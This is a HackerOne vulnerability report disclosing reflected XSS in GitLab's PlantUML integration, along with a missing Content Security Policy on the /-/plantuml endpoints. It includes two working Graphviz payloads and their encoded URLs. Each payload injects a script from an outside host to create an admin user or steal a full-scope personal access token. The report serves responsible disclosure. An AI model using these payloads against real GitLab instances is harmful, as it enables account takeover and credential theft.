Reflected XSS via PlantUML diagram
HackerOne report #2010926 by ankitsingh
on 2023-06-02, assigned to @ameyadarshan:
Report | Attachments | How To Reproduce
Report
Summary
I've found that when you configure your Gitlab instance to have PlantUML integration as per the documentation provided at https://docs.gitlab.com/ee/administration/integration/plantuml.html
then this leads to an XSS vulnerability by rendering the Graphviz Diagrams.
The problem lies in the fact that PlantUML uses the insecure HTTP protocol to serve diagram image files and if you’re running Gitlab with TLS then some browsers will not allow loading those images on pages served over HTTPS or what is otherwise known as Mixed content issues. So to tackle this, it is instructed to point /-/plantuml
endpoint of your Gitlab instance to http://localhost:8080/plantuml
of your local PlantUML server by configuring /etc/gitlab/gitlab.rb
to include -:
nginx['custom_gitlab_server_config'] = "location /-/plantuml { \n rewrite ^/-/(plantuml.*) /$1 break;\n proxy_cache off; \n proxy_pass http://localhost:8080/plantuml; \n}\n"
But this exact step gives rise to an XSS vulnerability to trigger in the context of your Gitlab instance, which can easily be escalated to an Account Takeover scenario by utilizing various methods such as stealing personal access token or forcefully becoming an Admin user within the instance etc.
Setup -:
Make sure you have enabled your PlantUML integration and is operating properly as documented at https://docs.gitlab.com/ee/administration/integration/plantuml.html
. For testing purpose, I've my Gitlab instance running at Debian 11.0.7 at https://192.168.204.135
. And a Tomcat 10.1.9 server with PlantUML running at http://192.168.1.7:8080/plantuml
. To configure the redirection, I added this line to /etc/gitlab/gitlab.rb
-:
nginx['custom_gitlab_server_config'] = "location /-/plantuml { \n rewrite ^/-/(plantuml.*) /$1 break;\n proxy_cache off; \n proxy_pass http://192.168.1.7:8080/plantuml; \n}\n"
Otherwise if you're running Gitlab in Docker then you can configure the integration accordingly as per the doc.
CSP Bypass -:
Once you're done configuring your PlantUML integration, make sure to configure the CSP (default or custom) in /etc/gitlab/gitlab.rb
as documented at https://docs.gitlab.com/omnibus/settings/configuration.html#set-a-content-security-policy
I observed that configuring CSP in /etc/gitlab/gitlab.rb
doesn't renders the CSP response headers for the https://gitlab-instance/-/plantuml/*
endpoints even if you add a default or custom directive as -:
gitlab_rails['content_security_policy'] = {
enabled: true,
report_only: false,
directives: {
default_src: "'none'",
script_src: "https://example.com"
}
}
This is basically an another issue which helped me to acquire a full Account Takeover scenario through the https://gitlab-instance/-/plantuml/*
endpoint.
i) Steps to reproduce (Becoming Admin of the instance)
- Visit at the following URL and click at the displayed error message -:
https://gitlab-instance/-/plantuml/svg/U9nbK4rFmp0ClVChh1nMa4gxyzhqW3G-f24X1AU9GvfuROQNbDGRcn3_dOHDcX27EBRVyxFrZEs26dguWwyBW6E-R3ljoGSfFdlBADwg23bl49PZhmQKhT_dCFA1K8hWjywWoLUM28t8uVzeZyfOry4oSVx0EP1gaMHTise9eVN1O4Id0ZGIdSkcvX2V0KMsSr8GhbWqyn1yW6kuLJRk1lP0NiM_ntY5OtHSr6qecoT2DSOUMVsUM04JhoZgaaqJGqWX7T0qERm-BwHOgvqQTR03pupNsqsIwf3dX2czEJoOo-pNh6bsLLZdCDo_F2vaDY6kZdF0X-ZKv6FhkMBSStcMF3PX3Fg4zyp3E2lBQ9F1dIgqZvgnsbXNhCSJVT9nbUJBaqWiioeP_7tn0zB0cnq0
- Now visit at
https://gitlab-instance/admin/users
and you will observe -:
Observe a new admin has been added to your instance with the name Ankit Singh
, depicting a scenario where an unauthenticated user has become the Admin of the Gitlab instance.
Please NOTE that URL provided in Step-1 corresponds to this Graphviz diagram code -:
```plantuml
digraph G {
graph [bgcolor="white"];
node [shape=box, style="rounded,filled", color="white"];
heading [fillcolor="white", label=<<table border="0" cellborder="0"><tr><td align="left">Error - Failed to load the content.<br/>Please click to reload..</td></tr></table>>, URL="javascript:document.getElementById('graph0').innerHTML='<script type="text/javascript" src="https://adideva.co.in/admin.js" ></script>';"];
}
```
ii) Steps to reproduce (Stealing personal Access token)
- Visit at the following URL and click at the displayed error message -:
https://gitlab-instance/-/plantuml/svg/U9nbK4rFmp0ClUzNM3ci89Lsv_NZW3G-f24X1AU9GvfuRJQJbDGRgn3_dOHDcYOESMo_vsVhQTDwsNTm3zyJW6E-QbhboFbAV7M6KRmN0R9E8wo6JlPODUwGmi0ZOIMysrcDEbqR8jGYXV-Z7KfjR0khoBc0Ko3P85LboR8XXCPvZG6T2L18T2xhadru6YIPrbQ2SCsYNdZlFDp0dJHXDx03SZBy7OOhBAFbh6nyNZyJoY7qoAXjP7cCl2mhSzPr23w6U41Tf_3sigp4HkxbeBpfUQwTsdr4gHPvGHZJs_5HNoL_PisIwynOY_xXzMbP9LFYuZW7F0QdffyxnmNZWVEpvB49WrSdl6FkXtcU1viqxcMcND3CjpXcc-54dhPSHF7y917Af8Zs_an-0PXFcbq0
Observe the stolen personal access token -:
- Now visit at
https://gitlab-instance/-/profile/personal_access_tokens
and there also you will observe -:
Observe a new personal access token by the name AnkitSingh
assigned with the full scope. The token will expire after 1 year (if not revoked otherwise).
Please NOTE that URL provided in Step-1 corresponds to this Graphviz diagram code -:
```plantuml
digraph G {
graph [bgcolor="white"];
node [shape=box, style="rounded,filled", color="white"];
heading [fillcolor="white", label=<<table border="0" cellborder="0"><tr><td align="left">Error - Failed to load the content.<br/>Please click to reload..</td></tr></table>>, URL="javascript:document.getElementById('graph0').innerHTML='<script type="text/javascript" src="https://adideva.co.in/key.js" ></script>';"];
}
```
What is the current bug behavior?
The generic method of enabling PlantUML integration with the self hosted Gitlab instance leads to an XSS vulnerability by rendering Graphviz Diagrams. Consequently, this leads to a full Account Takeover scenario either by inviting an Admin user to the instance or by stealing the personal access tokens. Similarly, this XSS could also be escalated to leverage many other different forms of attack scenarios.
What is the expected correct behavior?
XSS should be prohibited by employing proper validation and CSP.
Results of GitLab environment info
ankit@singh:~$ sudo gitlab-rake gitlab:env:info
System information
System: Debian 11
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 3.0.6p216
Gem Version: 3.4.13
Bundler Version:2.4.13
Rake Version: 13.0.6
Redis Version: 6.2.11
Sidekiq Version:6.5.7
Go Version: unknown
GitLab information
Version: 16.0.1-ee
Revision: 29e1314f910
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 13.8
URL: https://192.168.204.135
HTTP Clone URL: https://192.168.204.135/some-group/some-project.git
SSH Clone URL: git@192.168.204.135:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 14.20.0
Repository storages:
- default: unix:/var/opt/gitlab/gitaly/gitaly.socket
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Impact
Full Account Takeover either by forcefully becoming admin of the instance or by stealing personal access token is possible via XSS in Graphviz Diagram. Similarly, this XSS could also be escalated to leverage many other different forms of attack scenarios.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: